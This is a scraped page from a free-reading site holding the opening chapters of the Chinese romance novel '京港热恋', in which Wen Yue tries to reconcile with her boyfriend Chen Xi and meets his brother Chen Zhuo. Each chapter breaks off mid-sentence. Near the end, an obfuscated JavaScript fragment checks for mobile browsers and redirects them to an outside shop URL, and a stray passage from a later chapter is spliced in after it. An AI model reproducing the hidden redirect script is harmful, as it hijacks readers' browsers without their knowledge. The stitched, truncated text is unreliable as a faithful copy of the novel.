《京港热恋》 1. 第一吻 《京港热恋》全本免费阅读 时羡玉/文 “今夜感谢港城有雪。” - 二月的港城,罕见地落了雪,上次下雪还是半个世纪前。 一片片细如米粒的晶莹雪花飘在中环路上。 有人打开车窗,望着串钱柳的枯枝上镀上绒白的轮廓,繁华的城市成了梦中幻境。 车内,洛茜在看手机,忽然尖叫出声:“温温,好消息!航班延迟了!陈熙肯定不走了!” 温月收回视线。 洛茜激动地拽住温月,将手机递到温月面前:”老天爷都在帮你复合!“ 温月的目光集中在屏幕,是社交网站最新的新闻头条,稳稳压在“港城下雪”的上面,封面上是衣香鬓影的男女,年龄都不大,但不容小觑。 ——这是全港财富前0.01%的年轻一代。 其中,最显眼的还是居中的两位,并非着装多么雍容华贵,而是自带清贵疏离的气质。在优生优育的港城顶豪也是一等一的好相貌,哥哥沉稳矜贵,弟弟挺拔清俊,十分引人注目。 更令人羡艳的是他们背后的资本,融汇集团,港城首屈一指的制造业集团。 这次的派对便由融汇集团主办,名为集团开业纪念,实为港城年轻一代的鹊桥会。 虽说已是二十一世纪,恋爱自由,但世家们还是习惯门当户对、强强联合,这派对里不乏青年才俊,比如巨象集团的公子,或路康房产的孙子。 不过,对于港城那些眼高于顶的千金们来说,他们不过是开胃小菜。 主菜是陈濯。 不过二十八岁,便已坐稳港城陈家话事人的宝座,同那些喜欢拈花摘草的风流少爷比,他不近女色,是港城千金们眼中毋庸置疑的冠上明珠、梦中情人。 “这派对你必须去!”洛茜给她鼓劲,“你不去有什么意思?” 这派对确实和温月有些关系,她的男友就是派对的主办方之一,融汇集团的次子,陈熙。 “你俩不最近闹别扭吗?我听陈家那边的小妹说,陈熙肯定是邀请你去参加的,他也想和你复合……” 洛茜越说越兴奋,仿佛已经看到了他们复合之后,她和陆熙携手进入婚礼殿堂,互相说“Ido”的样子。 毕竟,任谁见到温月和陈熙,都要赞叹一句“天作之合”。年龄相当,专业一样,爱好相似。 就是家境…… 温月出生京市,家境尚可,到港城上大学之后,身边人卧虎藏龙,就不入流了。 洛茜为她着急:“你到底去不去?” “我想去啊,”温月叹气,“可我什么由头去?” 她和陈熙现处尴尬期,因为国外巡演的事,二人陷入冷战,最后陈熙准备孤身前赴洛杉矶巡演,不愿意见她。 若是长此以往,可能就分手了。 可没想到,他的航班晚点,港城忽然下雪。 洛茜苦口婆心:“你都不着急吗?知不知道,GS集团的那个女的要撬你墙角!之前她家的集团开业,陈熙去捧场,她整个人都快贴在陈熙身上了!” 温月的一双杏眼瞪得老大:“你说真的?” “有冇搞错?你居然不知道?” 见温月皱着眉,洛茜了然。 她说着蹩脚的粤语,快被气笑了,“陈熙这样的抢手货,你可要看好了!你又不是不知道,港城的年轻一代本来就瞧不起咱们这帮京市来的,GS那个女的,根本没把你放在眼里!”洛茜往日里喜欢周易,对小六壬有研究,掐指一算,“可小心点,你最近水逆呢,万一……” “茜茜,别说了,我去!”温月明白其中利害,二话不说托人找关系。 陈熙的表妹陈芝芝应下,说尽量帮她。 至于陈熙,温月给他发了个试探的表情包。 她给他找了台阶。 冷战的事非她之过,但也算不上大事。 她那么傲气,只是心里那股劲儿放不下。 洛茜接着给她分析“敌我矛盾”。 车很快驶出街道,抵达商场。 洛茜本就是要参加派对,今日出行,打算让温月帮她参谋礼服。既然温月也决定要去,那肯定也要挑身合适的“战袍”。 温月没拒绝,下了车,冷风一吹,小腹一阵绞痛。 好像例假来了。 “怎么了,温温?”洛茜看出她的异常。 温月向来报喜不报忧,敛眉笑:“没什么。”又说,“走吧,去看裙子吧。” 坐电梯直达顶层,S.J.步行街本就是奢侈品聚集地,顶楼更是顶奢品牌,顾客非富即贵,没多少人。 洛茜是这里的VIP,早就预约好sa。sa是个成熟漂亮的姐姐,叫薇薇安,见了人,巧笑盼兮同洛茜和温月招手。 “你的尺码!都是最后一条了,看看喜欢吗?” 那是两条优雅的丝绸小礼服,一粉一白,上面点缀手工缝制的小克拉碎钻,折射细碎的光。 洛茜喜欢自己试衣服,便留温月等她。 温月坐在真皮沙发上,和一位中年发福的商务男士一同,一个等朋友,一个等爱人。 洛茜很快就试了衣服出来,一番比较,她俩都觉得那条白丝绸的更好看,配她脖子上那条莹润的珍珠项链。 温月本来就想买件简单的小礼服,但洛茜不愿意,说她必须拿出正牌女友的样子来震一震,听得温月嘴角微抽,小腹下坠的感觉明显,例假疼得更厉害。 “这条好看。”洛茜拉着她看了看,她手中的那条是偏中式的高定,樱粉色的裙子,丝绸材质,上面是金线的玫瑰刺绣,sa说是工匠手工刺绣。 无可比拟的好看,而且不张扬,比较低调。 温月换上发给男友,方才的示弱并没有得到陈熙的回复,不过照片的威力比之表情包显著。 陈熙回了信息,说好看,还说挺巧,这个商场他知道,他哥陈濯就在附近。 温月一米六八,身材苗条匀称,杨柳细腰,五官精致,可能是多年练古琴的缘故,有着一番古典高雅的韵味,这裙子设计得巧妙,在锁边的部分,是层层纱堆出来的花苞造型,渐渐蔓延到锁骨的位置,锁骨上闪着一条月亮项链。 温月总觉得有点露,想调整一下,可有点欲盖弥彰的意思,把洛茜的眼睛都看直了。 不只是洛茜,几乎在这里的sa都直愣愣地盯着温月,眼神直愣愣的。 温月身材太好了。 不是说她们没见过世面,而是温月的长相太具欺骗性。 原先穿着件长到脚脖子的大黑羽绒服,像学院路那边饱受摧残的学生党,脱下来一换礼服,腰是腰,腿是腿,事业线迷人,玲珑有致的。 温月不大自在,红了脸,走到洛茜身边捅了捅她:”哎……哎!可以了啊,眼睛都黏我身上。“ 洛茜还没看够呢,正打算调戏几句。 那边薇薇安却忽然走过来道歉,低声说了两句话,说有客人要清场,好像是来取成衣的。 洛茜不满:“凭什么啊!我也是提前预约的,他是打算在这里登基吗?还要清场。” 薇薇安又是赔笑又是说软话,洛茜看了一眼,说算了,打算结账回去。 温月没脱下那条裙,洛茜结好账,还留恋好友的身姿,直勾勾多看了几眼事业线:“真是便宜陈熙了,你快点和他结婚,然后雇我去你们家当管家,苟富贵,勿相忘。” “别胡说……” “你这是乐意还是不乐意?”洛茜立刻变成夹子音学人精:“讨厌~”然后做着扭捏的样子带着温月出了专柜。 “您的冰美式——” 只是一个擦身,也许是闺蜜间玩笑走了神,几乎是电光石火间,洛茜快步和一位穿着套装的男人撞在一起。 那人手里拎着一件立挺的白衬衫,掉在地上,一大杯咖啡泼在上面,丁点儿不浪费。 白衬衫皱巴巴、湿漉漉、黑乎乎的,像坨腌入味的咸菜。 闯祸了! 温月第一反应是补救,连忙给那男人道歉,那男人平静的脸上出现了一丝裂痕,也不管是谁撞的,谁好拿捏就骂谁:“这位小姐,你是没长眼吗?在商场直接往别人怀里撞?” 洛茜吃软不吃硬,听他语气不善,皱眉:“老娘撞的,你骂我闺蜜做什么?而且,我又不是故意的!又不是不赔?” 那男人更气:“这是我们老板的衣服!你赔得了衣服、赔得了时间吗?我老板分分钟几百万上下!” “呦呦呦,你老板哪位啊?他算老几啊?” 洛茜火冒三丈。 眼看这两人就快打起来了,薇薇安走过来劝和。 本来就是她们理亏,温月道歉:“不好意思啊,我们赔。” 薇薇安看标签,认真介绍:“洛小姐,还好,三十九万。” 男人冷哼一声:“你看清楚!这是美元。” “……” 洛茜傻眼了。 折合人民币,三百多万! “那个先生,要不我给您拿去洗护一下?看能不能……”洛茜也不生气了,声音弱下去,鹌鹑似的,“看看能不能处理一下?” 温月打开包,不知道好友有没有带够百万额度的信用卡。 她家 2. 第二吻 《京港热恋》全本免费阅读 风雪漫卷,马路上的交通指示灯骤然变红,光圈逐渐变得模糊,指示灯“滴滴”的提示声和她的心跳同频共振。 温月莫名心慌。 “雪停了,温温。”洛茜摇下车窗,侧过头发现忧心忡忡的温月。 温月犹豫:“我好像把陈熙的哥哥得罪了……” 洛茜一愣:“怎么会?我觉得陈熙他哥挺好说话的啊,之前我叔叔在京市和他打过交道,人还是挺谦逊的,也不摆架子……” 温月没办法把一脸冷漠,让司机直接把衣服扔进垃圾桶里,轻飘飘地说“脏了就丢了”的人,和“好说话”联系在一起。 因为这场雪气温骤降到零下,可港城鲜有雪,看雪的人不少,阵仗超过任何一位当红歌星来港开演唱会。 主路堵得水泄不通,前面还有一伙人起了口角,温月将头伸到窗外看了眼,被冷气逼得打了个冷战,穿着戴着蓝色头盔的交警骑着摩托飞驰而过。 过了半个多小时,路终于通了。 温月联系京市的SA,那边发过来一件款式相似的衬衫,价格大差不差,她和洛茜AA,倒也勉强能承担得起。 她把解决方案告诉洛茜,洛茜连连点头:“都听你的!” 温月叹气:“你这时候知道听我的了,以后你要是多注意点……” 洛茜理亏,只好垂着头听她念叨。 温月苦恼:“这件事要不要告诉陈熙啊?” 洛茜小声:“还是别了吧,你俩最近不是冷战吗?别让我的事让您俩关系更差了。” 温月一愣,看了眼手机,没说话。 洛茜建议:“赶紧和陈二公子修复好关系,下周不是有邮轮派对吗?温温你身材这么好,多备几件好看的内衣,到时候美色在前……” 洛茜笑容古怪,透着股少儿不宜。 温月像是被踩到了尾巴的小猫,满脸通红:“你在说什么呀,茜茜!” 路终于通了,车缓缓地向前行驶。 “早晚的事,害羞啦?” 温月抿唇,还是打开通讯录,看了一眼陈熙的头像,还是给他发了信息。 冷战初期,两个人都曾经向对方示好,两只感情迟钝的蜗牛慢慢伸出触角,互相试探和靠近,可真的探到对方的回应,又吓得缩回了壳。 她放不下自己那点可笑的自尊,站在原地打转。 闹到现在……可她还是喜欢他的。 【你睡了吗?】 她盯着屏幕发了会儿呆,聊天记录显示上次她和陈熙聊天,还是在一个月前。 陈熙给她发的乐团去LA演出的成员名单。 名单里没有她。 她当时犹豫是在港城实习给简历镀金,还是去国外巡演,毕竟她去乐团可能去当替补。 陈熙信誓旦旦表示和她一起在国内实习,结果却出尔反尔。 她当时挺难过的,和陈熙大吵一架,什么难听话都说出来了。 覆水难收,但好在今晚下了雪,一切有了转机。 她犹豫片刻,还是拨通了陈熙的电话。 电话拨出去一分钟,没有接。 温月不甘心,又拨了一次。 依旧没有接。 洛茜探头看向她:“没通?” “嗯。” 温月点头:“可能睡了。” 温月把手机锁屏,随手放进包里。 包里还躺着一张唱片,她费了不少心思找来的,徐飞的专辑,本来想找个机会送给陈熙。 “温温,信息。” 温月拿出手机解锁,看了一眼。 陈熙。 她一下子坐直了。 她按下语音条,听到那边短暂的一个“喂”。 音节竟然有一点破碎的沙哑。 “陈熙?” 陈熙好像是在外面,能听到嘈杂的贝斯声,陈熙还没说话,她就连忙开口,语气里有一丝她自己都没察觉到的委屈。 “你最近……还好吗?” 陈熙轻笑了声:“也就那样。” “之前的事……” 陈熙语气无波无澜:“都过去了。” 温月心动了动,想要认真把事情说开。 电话那端,闪过一道娇软的女声。 “你系度做紧咩?” 温月一愣:“陈熙,这是——” 陈熙的声音停滞了一瞬,紧接着,嘈杂的噪声越来越小。 他没有回答温月,而是和电话那头的女士解释:“一个朋友的电话。” 温月一怔,突然鼻子泛酸。 陈熙回答她:“还在吗?” “我在——” 温月还没来得及委屈,电话那头劈头盖脸地询问。 “你惹上我哥了?” 温月没想到他提这个,嗫嚅半天,最后解释:“只是意外。”她顿了顿,“我已经道歉了,我会去找款式相似的衬衫,给你哥哥送过去……” 陈熙的语气和平时不同,他以前叫她“bb月”,可现在更像是陌生人。 “你送过去?你见得到我哥吗?我都见不到。” “……” 温月心发酸,犹豫:“那陈熙你帮我给你哥哥送去,好不好呀?我太不懂事,对不起……” 陈熙在电话那头沉默:“你下次出事,能不能直接和我说?” 他似乎很累,“别自己做决定,你什么都不懂。” 温月呼吸一滞,难受之余,也为自己辩解:“这件事就是今天下午发生的,我现在告诉你,也不算晚吧?” “你什么意思?又想和我吵架?”陈熙质问。 “不是……”温月想起和闺蜜的聊天,解释,“我是想和你和好,下个月的邮轮派对……”我想和你一起去。 还没说完,电话那头打断了她。 “下次吧,这次我们家给我安排女伴了。” “什么?” “嘟嘟”两声,电话应声挂断。 温月愣在原地。 - 洛茜看她不太高兴,也没多问,本来想陪她住一晚,但看她蔫蔫的,就只好嘱咐她早点休息。 这雪停歇后,北风萧瑟,温月开窗看了一会儿,播放唱片,诸城派古琴传人的唱片果然不俗,不枉她费尽心思找来,悠扬的乐曲很快就洋溢在这个房间。 如同往常一样,她洗漱完,躺在床上,听着曲子练耳,手机响了一下。 【陈熙】:下次我带你去吧,最近比较忙。 她低头,看着那行字发愣。 【陈熙】:席位可能都满了,这次我哥可能没空来,提前找了人和我一起跳开场舞,不好推掉。 【陈熙】:你们工作室的林老师有乐团过来,可以带几个人,你去问问她吧。 温月不高兴,甚至患得患失。 但之前的商务活动,她不愿意去参加,有的时候陈濯不在,陈熙需要跳开场舞,久而久之,陈熙就会带旁支的堂姐妹当女伴。 这次她没提前说,陈熙带别人,也在情理之中。 可她却觉得,陈熙这样,是有点不在乎她的。 哪就那么麻烦,不过是和负责人说句话的事,可他却不愿意。 如果真的想带她去,哪怕是想办法再加开一艘邮轮,他也会去这样做的。 温月记得来港城之前,刘女士的那句忠告:把陈熙当做她事业上的攀云梯。 她有时候也和洛茜开玩笑。 她应该只求“荣华富贵,不求一丝真心”。 温月给工作室的林老师发了个消息,想问问可不可以带她过去。 消息发出去,没有回复。 【温小姐,刚刚专员打您的电话没有接,请发送一下收货人的联系方式。】 温月连忙低头给SA发消息,她不想搭理陈熙了,只好给陈濯的助理发了些信息,要来了联系方式和地址。 她记得,陈熙和陈濯的关系挺好的,可能这个乌龙给陈濯惹了麻烦,陈熙才会有点生气。不知道是谁把这件事告诉陈熙的。 她又想到了那道娇柔的女声。 那会是谁? 半夜,林老师回了消息,说乐团去派对的名额已经定好了,邮轮派对七天六夜,舱房都安排满了,不好临时带人过去。 她和陈熙原本能更进一步的关系,又陷入了僵局。 可她还是想去,却发现没有别的关系可以找了。 陈家的小辈里 3. 第三吻 《京港热恋》全本免费阅读 港城的二月,风和日丽,云遮雾绕。 那座可以俯瞰全港的太平山,山顶和山麓之间弥漫着丝丝缕缕的银白色的浮云,阳光在夹缝中斜射进来,只是一缕淡淡的金。 那场雪来得匆匆,去也匆匆,气温很快就回升到了5度以上,但依旧有些凉爽。 街上不少甜品店都上了雪人主题的蛋糕,淡奶油混着馥郁的水果香,放学的女孩都穿着学校的西装制服配长筒袜,一窝蜂地冲进去抢购,温月裹紧了身上的针织衫,打了个冷颤。 她实习的古琴工作室靠港城一家龙头企业养着,他们家有一支发展文化板块事业,所以重金挖来京市音乐学院的老教授林芬来港,开办古琴工作室,港城的其他企业家也十分捧场。 这两天工作室里一半多的演奏员都在忙着排练去邮轮上的演出,剩下的活儿只好安排给温月这几个实习生,每天都靠着对面那家咖啡馆的加浓美式撑着,也就只剩半条命了。 今天能在九点之前下班,也是林老师发善心了。 从巴士上下来,温月再次低头看了一眼手机,才说服了自己昨晚“拉下脸男朋友他哥示弱居然骗到了张派对邀请函”这件事。 陈濯说可以带她去邮轮派对,下周在入口处把她带进去,对她的态度好到的和那晚判若两人。 她简直受宠若惊,连忙说不用了,她自己去就行。 之后和洛茜一说,洛茜却说这事也不奇怪,以陈濯的地位,想带个人去邮轮派对不是轻而易举,更何况他也要卖陈熙一个面子。 她只是没想到,陈濯这么好说话。 毕竟陈濯给她的印象,就是这位哥哥,轻易惹不得。 她还没到家,手机就响了一下,她看了一眼,是洛茜。 【洛茜】:回来了吗?我去找你看看礼服~ 温月觉得有点晚了。 【温月】:要不明天? 【洛茜】:貌似某人三天后就要去派对了,还不着急。 温月连忙回复。 【你来吧。】 她洗了点水果,刚放到茶几上,门铃就响了。 洛茜连水都没喝,就推着她去卧室换衣服。 温月很认真地换上礼服,戴上配套的首饰。 “怎么样?” 洛茜上看下看,蹙起眉头:“差点意思,你要不让陈熙给你买一套吧。” 温月摇头:“我不想找他。” 谁让他不带她去? 洛茜指了指温月脖子上那条看起来太过简约的钻石项链。 “这也太不配了。” 洛茜又看了眼她的耳朵:“你怎么还戴素圈耳环?” “这上面其实有一颗钻的……” “卖耳环的SA应该配一个放大镜给你。” “还有你这鞋,是不是上一季的?你看你居然还在上面贴鞋底胶。” 温月有些委屈:“这是当季的呀。” 洛茜去翻她的梳妆台,找出一条蛇头项链:“你这还不如带这个,起码克拉要足够大才能镇住场子……” 这条项链是陈熙送的,温月几乎就没带过,一直在家里落灰,洛茜和蛇头上的眼睛对视,叹了口气:“不行。” 洛茜不死心地翻了翻她的首饰:“这些都是陈熙送的?” 温月点头。 “这根本不是你的风格,跟土大款似的。” 洛茜把自己脖子上的项链摘下来,对着她的脖子比照一下。 “也不合适。” 温月挠挠头:“我觉得还好吧……这条就挺合适的。” 她拿起一条粉钻项链。 “差一点都不行!”洛茜恨铁不成钢,皱眉强调:“你知不知道下周你要去干什么?你是要去邮轮派对的!你就这么糊弄?我不允许!” 她气得从果盘里拿起一个苹果,咬了一大口,然后就低着头玩手机,不理温月。 温月连忙扯扯她的袖子:“我错了。” 洛茜把头扭过去,不说话。 温月小声说:“高定需要提前预订,调货过来就要好几天……实在不行我明天再去二奢那里看看……” 洛茜面色凝重地放下手机,又咬了一口汁水四溢的水蜜桃,“关键时刻还是要靠我出手吧。” 她把手机的屏幕挪到温月眼前:“明天下午有场拍卖会,我刚好要去,我之前看过预展,有些高珠挺适合你的,价格也不贵,我去帮你拍吧。” 温月看了一眼,有些高珠的价格她还可以接受。 “这个钻石项链就还好,净度不错,而且这个价格我觉得也不错。” 温月犹豫:“这行吗……你明天和你哥去吧?有时间吗?” 洛茜很果决:“我说行就行。” - 翌日傍晚,温月趁着下班早,去专柜买了双洛茜推荐的钻扣的“战鞋”,鞋跟足有10公分,她很少穿恨天高,只好让店员包好了,拿回家在穿衣镜面前慢慢适应。 洛茜的电话来得突然。 下午拍卖会开始的时候,她还信誓旦旦地发信息过来,说温月的预算肯定能拿下。 温月接通电话,电话那头的洛茜声音听起来特别激动。 “温温,你猜我在拍卖会看到谁了?” 温月瞎猜:“总不能是陈熙吧?” “你怎么知道?!” 温月不信:“他也去竞拍了?” “是啊,我和他打招呼,他还不理我!” 温月看了一眼通讯录,打开陈熙的动态,最新的一条自拍,定位确实在京市。 他真的去了拍卖会。 洛茜卖关子:“我有一个好消息和一个坏消息,你想先听哪一个?” 温月心不在焉:“好消息吧。” “你还是先听坏消息吧。”洛茜叹气,“我看中的那条项链被拍走了。” 温月心里有数,那条项链千万级别的,就算是这场买家少,也不太可能捡漏。 “成交价三千九百万港币,陈熙都没敢拍下来。“ 温月觉得不可置信:“那项链那么抢手?” “是被神秘买家电话买走的,都没露面。” 温月立刻安慰洛茜:“那好消息是你拍到那条百万级别的项链了?” 洛茜叹气:“也没买到。” “……” “我现在要说好消息了!”洛茜卖关子,“你绝对不知道拍到那条项链的是谁!” “该不会是陈熙吧?” “你怎么又知道?” “我瞎猜的。”温月趴在沙发上,感觉自己的那双脚磨得像刚出来一样,“这算什么好消息?” “他拍下来肯定是要送你啊!”洛茜笃定,“这下你都不用买了,直接在家等着他送来吧。” “万一……”温月隐隐约约觉得不是送她的,但没说出口。 “不说了,我要登机了,回去和你说呀。” 温月还没说话,电话那边就挂断了,只剩下“嘟嘟”声。 温月打开和陈熙的聊天界面,犹豫了一下。 送给她吗? 会是送给她的吗? 可她没告诉陈熙,她要去派对的。 她躺在沙发上烦闷地刷了刷社交软件,居然看到了柳蔓的一条动态。 柳蔓,就是洛茜说的,GS集团的“那个女的。” [Getanewnecklace!] 她的社交软件上加了不少港城圈子里的女孩,喜欢晒自己的珠宝首饰,每次她看到,都大开眼界。 所以,陈熙会送她项链吗? 温月不愿意细想,随手翻开沙发旁的一本杂志,心烦意乱。 恰巧这时,手机响了一下,她看了一眼,是陈濯。 【陈熙哥哥(陈濯)】:原定周一下午,加开临时会议。 邮轮派对的从周一下午开始,周二上午所有人上船之后,邮轮载着数百人缓缓驶向公海。 温月一愣,想说其实找程松把她带进去就可以。 还没来得及回复,就看到跳出一条回复,陈濯很贴心地定了时间。 【陈熙哥哥(陈濯)】:下周二见。 下周二。 温月提前和林老师请好了一周的假,洛茜特地带着化妆师过来,给温月画了个全妆,还拉了头发。 温月的妆一画好,洛茜的彩虹屁就来了,情绪价值拉满。 “不是一般的好看。”洛茜强调,“那是相当的好看。” 温月的妆容并不是那种白开水风格的,而是加重了整体妆面的质感,显得优雅明艳,头发还高高盘起,插上了一根发簪。 洛茜想送她过去,看到她就拉着一个行李箱,有些失望。 “就这点行李?你化妆品和衣服带够了吗?” 温月点头:“我带了七套衣服,正好一天一套,化妆品也带了。” 洛茜叹气:“我应该盯着你挑衣服的。” 温月无奈地笑了笑。 “你怎么还是戴了这条项链?”洛茜皱眉,看向温月脖子上的粉钻项链,“凑合,相当的凑合。” “不是没找到合适的……” 洛茜有些生 4. 第四吻 《京港热恋》全本免费阅读 岸边微风轻拂,温月瑟缩了一下。 她能看出来这套高珠价值不菲,最重要的是,如果收下,她就欠他一个人情。 可如果不收,他会不会觉得她太不识抬举? 他到底怎么想的? 她拿不准,悄悄给洛茜发了条信息。 “还是不必了。”温月思忖片刻,“谢谢您的好意。” 他低着头看文件,“嗯”了一声。 “只是小意思,不必推辞。” 温月正要再次拒绝,手机忽然响了一下。 其实已经发了好几条信息过来了,但这边信号不好,前几条她都没看到,都是十几秒的语音。 她看发信人是洛茜,点了语音转文字,问她是不是登船了,最后一条,出来的是断断续续的文字,她连忙戴上耳机听,怕吵到陈濯。 ——“这是人家的心意!肯定要啊!为什么不要啊?绝对要啊!” 声音挺大,混着嘈杂的户外音,有点刺耳。 最尴尬的是,她没连上蓝牙,外放了。 ——“你就说谢谢哥哥!” 温月吓得手忙脚乱地关上手机。 头已经不敢抬起来了。 尴尬死了。 温月不知道该怎么开口了,不上不下地被架在那里。 她看了陈濯一眼,正好和他对视,男人似乎在打量她,略有深意藏在眼底。 温月心如擂鼓,想:完了。 她笃定陈濯觉得她是个别扭的、难伺候的性格了。 好印象全毁了。 她和陈濯说一声,赶紧走了算了。 她把外套披在身上,然后抚了抚有些微皱的裙角,衣料摩挲间,摸到了一个硬质的一角。 温月愣了一下。 烫金花纹的锦盒近在咫尺。 明明刚才还在陈濯的手上。 这是——? 陈濯这是什么意思? 温月涨红了脸,小心翼翼: “谢谢您。” 她不知如何表现,嘴唇翕动:“刚刚我朋友……她在说别的事,不是说我们!我真的很抱歉……您不要放在心上。” 陈濯挑眉,似是听进去,漾出一个温和的笑容。 温月觉得毛骨悚然。 她是不是不够礼貌…… 叫“您”,他觉得把他叫老了? “真的谢谢您……”一卡壳,鬼使神差般地,洛茜刚才的那句话浮现在脑海。 “谢谢……哥哥。” 她第一次这么叫,生涩中夹杂着不好意思。 她听到一声很细微的笑,如果不耐心,甚至听不到。 “不谢。” 陈濯接过程松递过来的咖啡,喝了一口,撩起眼皮看了一下她。 她以为是错觉,这房间本来有点昏暗,她坐的位置离陈濯有点远。 陈濯真的笑了,清浅而温柔,一个酥麻到骨肉里的轻笑。 可她再看过去,陈濯的嘴角又恢复成了一条没有弧度的线。 “南区接待点的人多吗?” 程松微怔,随即回答:“挺多的,昨天有一部分客人没有上船,还有一些客人打了招呼,临时带了人来,还在过渡区,客舱好像要满了.......” 他的言外之意,温月今天晚上可能会露宿“船”头。 “你到底怎么安排的?” 他这一句话,程松立刻绷紧了神经。 多说无益,程松赶紧给出解决方案:“乐团那边可能有二人间还没有满……” 温月连忙点头,“谢谢”两个字在口中呼之欲出。 “以后这种琐事别再出岔子。”陈濯冷冷地打断。 温月怕他责难程松,连忙说:“我去问问乐团那边的老师就好。” 说着,她低头发了条信息给林老师,问她乐团那边有什么空房间。 她站在一旁,焦急地等待回复。 “在这等会儿。” “坐这里吧。”他看向温月,语气十分平静,“不打扰我。” 根本没有让她拒绝的余地。 她找了个沙发,识相地坐着。 房间里只有陈濯的手机消息提示声。 今天晚上不会没地方睡吧? 温月悄悄拽着外套上的流苏,心乱如麻。 【林凤】:满了,有两个人二人间都挤进去三个人了。 温月心里有点烦闷,不知道要不要问问陈熙。 她还不想告诉他,她来了派对。 温月低头,喝了一口程松给她倒的水。 好烫! 她吸了口气,在嘴里含了一会儿,然后慢慢咽下去。 她动静不小,让陈濯看到了。 “给她接杯温水。” 一旁的程松见状,连忙接水端了过来。 “谢谢……”温月连忙接了过来,却看到陈濯的目光依然停在她身上。 尴尬仿佛化为了实体,充盈在整个房间。 几乎一瞬间,外面忽然变得喧闹,好像要登船了。 陈濯看她一眼:“一会儿上去,找工作人员问有没有空的客舱。” “谢谢您。”温月连忙道谢,只好死马当活马医了。 实在不行,就去二人间打地铺。 她坐得很不舒服,不敢动也不敢靠着,站起身,连忙往外走。 幸亏这边离邮轮很近,她最后几乎是小跑着跟客人到了上船点,准备登船。 - 罗曼海洋号是艘只能容纳两千名客人的中型邮轮,但并不妨碍邮轮装潢的富丽堂皇。 温月总觉得自己还是有点见识的,可上船之后还是忍不住被流光溢彩的水晶穹顶吸引。 不少客人拿出手机,对着邮轮自拍。 温月忍不住,也拍了张照。 她看到穿制服的工作人员,说明了身份,工作人员让她稍等,打了几通电话,面带歉意冲温月摇了摇头。 温月叹了口气,说了声谢谢,病急乱投医地给陈熙堂妹陈芝芝发了消息,问她能不能想想办法,陈芝芝很快就回复了,说让她稍等一下,但别抱太大希望,最好也问问别人。 温月拎着行李往上走,打算先把行李放在乐团师姐的客舱。 手机忽然响了一下。 “温小姐吗?” “我是。” “您好,我是客舱服务的Mary,刚联系到了一个房间,在五楼,我在这里等您。” 温月没想到陈芝芝这么靠谱,心想一会儿必须给她打个电话,道个谢。 五楼的客舱是套间,简约精致,Mary帮她录入了指纹锁,放好了行李,并且用流利的普通话很耐心地告知了她一些注意事项。 温月送她出去的时候特地道了谢,Mary笑了笑,“应该的,林总助吩咐过,好好照顾您。” 程松? 陈濯? 陈濯帮她找的房间? 她还以为.......他嫌麻烦,不想帮她。 温月摸了摸挎包,陈濯送她的珠宝,正躺在包里。 打开手机,给陈濯发了条信息道谢,但没收到回复。 - 陈濯收到信息的时候,即将登船。 程松收到工作人员发来的信息,看了一眼。 “陈总,温小姐已经住进客舱了。” 陈濯点了下头,又看了一眼手机。 【温月】:谢谢您帮我找的房间。 太过客气。 陈濯微微蹙了下眉,又想起少女那句小心翼翼的“哥哥”,和陈熙叫哥哥的语气不同,仿佛荡漾在人心上。 他没什么神色,很快就收回目光,关掉了手机。 - 温月眯了一会儿,被手机提示音吵醒了。 是李抒。 李抒是她在乐团的师姐,早她两年毕业,跟着乐团一起来的邮轮,演奏压轴曲目。 得知她来派对后,林老师极力邀请她过来帮忙,正好李抒的替补病了,她推辞不过,答应过来,明天跟着一起彩排。 李抒发了条信息,叫她出来玩。 温月揉了揉眼睛,有些懵,拉好的头发有点些微的凌乱。 她在五层,有点不想下去。 【李抒】:来嘛来嘛~晚上好像还有热场活动呢! 温月犹豫片刻,恋恋不舍地离开床。 她稍微收拾了一下,对着盥洗室的镜子补了妆。 脖子上的粉钻项链闪着微弱的光,温月想起来被她装在包里的锦盒。 包就在床头柜里,她拿了过来,打开了盒子。 那串项链沉甸甸的,和珍珠一样发着莹润的光泽。 温月对珍珠、钻石都是似懂非懂的,钻石知道个净度,珍珠知道最好的是澳白,能看出来这套珠宝应该不便宜,虽然可能算不上什么顶级高珠,但也绝对不是陈濯说的“不值钱”。 项链和耳钉配套的,她都戴上了,确实和礼服很配套,很相宜。 她拍了张照片识图,在网上看到同款,两百年前葡萄牙女王的日常喜欢戴出来项链,被展出后,有家有名的珠宝品牌做了联名,价格几万出头。 虽然比不上拍卖会的那条数百万的钻石项链贵重,但效果也不差。 想到那条项链,温月就有点气闷。 陈熙拍了之后,到底送谁了? 温月想着,出了门。 师姐在微信上说去彩排了,要晚上来找她。 温月找了个角落窝着,无聊地玩着手机。 陈熙发布的最新动态,定位在邮轮上。 她点开聊天界面,打了一行字发过去。 【温月】:我想你了。 噫,有点肉麻。 那边秒回。 【陈熙】:很快就回来了,抱歉这次带不了你。 附赠了一个摸摸头的表情包。 温月腹诽,是很快就回来了,然后就出国了。 她压下强烈的冲动告诉他,她来派对了。 她要给他一个惊喜。 【陈熙】:准备开场舞,一会儿聊。 明晚他要跳开场舞。 温月靠着沙发,心里烦得不行。 也不知道和谁跳。 【温月】:和你表妹? 没有回复。 温月不耐烦地关上手机。 她一直都在走神,没注意到附近有人观察她。 偶然经过她这个角落的人,好奇地看了一眼,看她是生面孔,又足够漂亮,以为是网红或者哪个小明星,但看她的穿戴,又不像一般人家,不免有些疑惑。 好奇看向她的人越来越多,虽然大多都是匆匆一瞥,就立刻妥帖地回过了头,但还是弄得她有些不舒服。 温月叹了口气,忽然听到身后有人喊她的名字。 “BW?” 这边习惯姓氏加上英文名首字母缩写当做nickname,但很少有人这么叫她,温月甚至怀疑是她听错了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12802610|125109||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开口。 几乎是一瞬间的冲动,温月开口。 “他心眼不小。” 几人的视线齐齐落在她身上的瞬间,温月却罕见地壮着胆子说下去,“他就是想让您多关心他一点呀,不是抱怨您的,您可千万别气坏了身体。” 她特意软着语气,像是撒娇,倒是打破了僵掉的局面。 敏姨连忙打圆场:“温小姐这是关心您呢。” 老爷子一愣,随即哈哈大笑:“行,就听你的,以后多关心关心这臭小子。” 